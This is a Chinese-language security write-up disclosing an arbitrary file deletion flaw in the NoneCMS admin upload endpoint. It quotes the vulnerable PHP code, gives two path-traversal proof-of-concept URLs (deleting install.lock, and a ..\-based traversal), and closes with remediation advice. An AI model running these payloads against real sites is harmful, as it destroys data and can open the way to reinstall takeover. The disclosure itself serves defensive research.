NoneCMS后台任意文件删除

0x00前言

这两天学习Thinkphp5.1的开发手册,顺便审计一下NoneCMS,利用框架的安全性避免了不少的问题,但还是发现一枚任意文件删除漏洞。

0x01漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#application/admin/controller/Main.php
public function upload()
{
if (!input('?param.act')) {
$file = request()->file('pic_url');

$info = $file
->validate(['size'=> 1024*1024*2,'ext'=>['jpg', 'png', 'jpeg', 'gif', 'bmp']])
->move(Env::get('root_path') . 'public/uploads');

if ($info) {
// 成功上传后 获取上传信息
$save_name = $info->getSaveName();
$realpath = __ROOT__.'/uploads/' . $save_name;
exit(json_encode(['status' => 1, 'path' => $realpath, 'save_name' => $save_name]));
} else {
// 上传失败获取错误信息
exit(json_encode(['status' => 0, 'error' => $file->getError()]));
}
} else {
//删除图片
$img_dir = input('param.path');
$real_path = str_replace(Env::get('root_path'),'',$img_dir);
$path = str_replace(['/..\/','/../'],'/',Env::get('root_path').$real_path);
echo $path ;
if (@unlink($path)) {
exit(json_encode(['status' => 1, 'msg' => '删除成功']));
} else {
exit(json_encode(['status' => 0, 'msg' => '删除失败']));
}
}
}

1.当请求upload方法时,如果if (!input(‘?param.act’))不成立,即存在act参数的情况下,进入else分支。
2.此时将path参数的值经过str_replace替换后传入unlink函数,直接删除,由于过滤不严导致任意文件删除。
3.可以采用绝对路径的方式或者windows下用..\绕过str_replace的限制。

0x02任意文件删除POC:

1
2
3
http://127.0.0.1/NoneCMS/public/admin/main/upload/act/1?path=public/install/install.lock

http://127.0.0.1/NoneCMS/public/admin/main/upload/act/1?path=..\..\..\..\..\..\..\test.txt

0x03小结

这个漏洞需要至少能够登录后台的管理员登录才能利用。

0x04修复建议

  • 此处功能为删除图片,可以严格检查删除文件名的后缀是否为图片
  • 同时过滤..\../